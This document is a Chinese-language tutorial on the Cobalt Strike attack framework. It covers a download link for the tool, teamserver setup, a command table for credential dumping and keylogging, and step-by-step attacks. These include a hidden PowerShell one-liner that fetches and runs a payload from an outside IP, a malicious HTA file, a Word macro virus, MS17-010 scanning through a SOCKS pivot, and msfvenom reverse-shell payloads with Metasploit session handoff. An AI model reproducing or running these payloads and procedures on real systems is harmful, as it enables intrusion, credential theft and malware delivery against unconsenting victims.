Cobalt Strike 是一款超级好用的渗透测试工具,拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket 代理,office 攻击,文件捆绑,钓鱼等多种功能 。

Cobalt_Strike全套教程视频

0x1CS安装

Cobalt Strike3.8 工具下载 链接:https://pan.baidu.com/s/1Zi5HuncVhlNKdeu_zptDmQ
提取码:7ckh

Linux下启动 teamserver

1
./teamserver 服务器外网ip 客户端连接密码

window客户端连接
点击cobalstrike.jar客户端,填写相应信息

0x2 listener

一个“监听”就是一个等待连接被入侵的系统的服务器。

CS 的监视器 有两个作用,

  1. 是告诉 CS 去为任何一种建立攻击载荷处理器;
  2. 那儿有一个被命名的别名是给处理器和设置信息作为参考的

攻击载荷有三种类型:

  1. 操作系统
  2. 攻击载荷名称
  3. 传输器

例如:

1
windows/beacon_http/reverse_http

是在 windows 操作系统下用 reverse_http 传输器 来进行 beacon_http 攻击载荷

stager(传输器) 是一个很小的代码,它连接并下载真实的 攻击载荷 并且插入内存

CS 有两种监视器:

  1. Beacon 为内置的 Listener,即在目标主机执行相应的payload,获取 shell 到 CS 上;其中包含DNS、HTTP、SMB。
  2. Foreign为外部结合的 Listener,常用于 MSF 的结合,例如获取 meterpreter 到 MSF 上。

beacon 命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
Command                   Description
------- -----------
browserpivot 注入受害者浏览器进程
bypassuac 绕过UAC
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect Connect to a Beacon peer over TCP
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程VNC
dllinject 反射DLL注入进程
dllload 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 尝试提权
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 退出beacon
getprivs Enable system privileges on current token
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在特定进程中生成会话
jobkill 杀死一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link Connect to a Beacon peer over a named pipe
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文件
net net命令
note 备注
portscan 进行端口扫描
powerpick 通过Unmanaged PowerShell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid Set parent PID for spawned post-ex jobs
ps 显示进程列表
p**ec Use a service to spawn a session on a host
p**ec_psh Use PowerShell to spawn a session on a host
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行传递哈希
pwd 当前目录位置
reg Query the registry
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
run 在目标上执行程序(返回输出)
runas 以另一个用户权限执行程序
runasadmin 在高权限下执行程序
runu Execute a program under another PID
screenshot 屏幕截图
setenv 设置环境变量
shell cmd执行命令
shinject 将shellcode注入进程
shspawn 生成进程并将shellcode注入其中
sleep 设置睡眠延迟时间
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn Spawn a session
spawnas Spawn a session as another user
spawnto Set executable to spawn processes into
spawnu Spawn a session under another PID
ssh 使用ssh连接远程主机
ssh-key 使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestomp 将一个文件时间戳应用到另一个文件
unlink Disconnect from parent Beacon
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM在主机上生成会话
wmi 使用WMI在主机上生成会话
argue 进程参数欺骗
复制代码

beacon有三种类型:

  1. http beacon
  2. dns beacon
  3. smb beacon

0x2.1http beacon

创建Beacon Listener
Cobalt Strike->Listeners

创建 powershell 恶意代码
Attacks->Web Drive-by->scripted web delivery

复制里面的命令,并点击 ok

在受害机上执行该命令

1
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://120.79.24.186/a'))"


受害机成功上线

0x2.2 smb beacon

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons连接后,子Beacon从父Beacon获取到任务并发送。因为连接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。 也经常利用 smb 提升权限。

选择目标,点击Interact ,在beacon>中输入 shell whoami/groups 查看当前权限,随后bypassuac smb ,成功后可看到产生一个新的 beacon 会话 ,yesi* 有带*号,表示为管理员。

** DNS Beacon **

DNS Beacon在绕过防火墙 权限维持上非常有效

0x3.1 HTML Application

ATTACK->packages-> HTML Application


点击Generate,并保存evil.hta

将生成的evil.hta,上传到 CS 的服务器上

点击 Launch

复制 evil.hta 的 url 地址,并点击 ok

让受害机访问 此 url 链接,并运行 evil.hta 文件

0x3.2 ms office macro

首先我们需要制作一个word宏病毒来进行远控操作。在Cobalt strike中,需要新建一个监听程序来进行监听

然后点击attacks -> packages -> ms office macro, 选择前面所创建的listener


复制宏内容,然后打开一个word文档,添加宏,记得添加的地方不能有误,添加宏的位置在 视图 -> 宏。创建宏以后添加代码是在project中,这点不能搞错,如下图

添加完成以后,只需要保存为启用宏的word就可以了,这样就制作为一个word宏病毒文件

0x3.3

0x4 与Metasploit 结合

CobalStrike 与 Metasploit 均是渗透利器,各有所长。前者更适合做稳控平台,后者则更擅长内网各类探测搜集与漏洞利用

0x4.1socks代理

通过Beacon内置的socks功能在VPS上开启代理端口,打通目标内网通道,之后将本地Metasploit直接带入目标内网,进行横向渗透

首先,到已控目标机的Beacon下将socks代理开启。

1
beacon> socks 1024


开菜单栏中的View > Proxy Pivots,点击Tunnel复制代理连接到Metasploit中


在Metasploit设置 socks代理,探测目标内网中存在MS17_010漏洞的主机

1
2
3
4
5
6
7
8
9
10
11
12
13
msf5 > setg Proxies socks4:120.79.24.186:1024    #让msf所有模块的流量都通过此代理走。(setg全局设置)
Proxies => socks4:120.79.24.186:1024
msf5 > setg ReverseAllowProxy true #允许反向代理,通过socks反弹shell,建立双向通道。(探测可以不设置此项)
ReverseAllowProxy => true
msf5 > use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.3.0/24
rhosts => 192.168.3.0/24
msf5 auxiliary(scanner/smb/smb_ms17_010) > set threads 100
threads => 100
msf5 auxiliary(scanner/smb/smb_ms17_010) > run

[*] 192.168.3.0/24:445 - Scanned 71 of 256 hosts (27% complete)
[+] 192.168.3.3:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Enterprise 7601 Service Pack 1 x64 (64-bit)

0x4.2CS与MSF会话互传

** 0x4.2.1CobaltStrike派生Metasploit **

当CobaltStrike获得了一个上线机器,想把这个目标传给Metasploit中的meterpreter,获得一个session进行控制。在Metasploit执行以下命令

1
2
3
4
5
6
7
8
9
10
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.3.129
lhost => 192.168.3.129
setmsf5 exploit(multi/handler) > set lport 5555
lport => 5555
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.3.129:5555

之后使用CobaltStrike创建一个windows/foreign/reverse_tcp的Listener。其中IP为Metasploit的监听地址,端口为Metasploit所监听的端口

然后选中计算机,右键->Spawn:选择MSF的监听器


一开始没有成功

1
2
3
[*] Meterpreter session 1 opened (192.168.3.129:5555 -> 192.168.3.3:50112) at 2020-02-08 09:56:43 -0500

[*] 192.168.3.3 - Meterpreter session 8 closed. Reason: Died

尝试将受害者的防火墙关闭

** 0x4.2.2 Metasploit派生CobaltStrike **

Metasploit设置监听

msfvenom 生成payload

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.129 LPORT=5555 -f exe > shell.exe

将生成的shell.exe,让受害机点击运行, msf成功得到一个session

在CobaltStrike中创建一个监听者,和上一步类似,这里host需要修改为CobaltStrike的IP,创建好之后便监听4444端口,等待着被控机连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
meterpreter > background 
[*] Backgrounding session 6...
msf5 exploit(multi/handler) > use exploit/windows/local/payload_inject
msf5 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf5 exploit(windows/local/payload_inject) > set lhost 120.79.24.186
lhost => 120.79.24.186
msf5 exploit(windows/local/payload_inject) > set lport 4444
lport => 4444
msf5 exploit(windows/local/payload_inject) > set DisablePayloadHandler true
DisablePayloadHandler => true
msf5 exploit(windows/local/payload_inject) > set session 6
session => 6
msf5 exploit(windows/local/payload_inject) > run

[*] Running module against YESI-PC
[-] PID does not actually exist.
[*] Launching notepad.exe...
[*] Preparing 'windows/meterpreter/reverse_http' for PID 2860

这里倒是没有成功,暂留,日后补充。

参考文章:

CobaltStrike与Metasploit实战联动
利用Cobalt strike一步步教你发送钓鱼邮件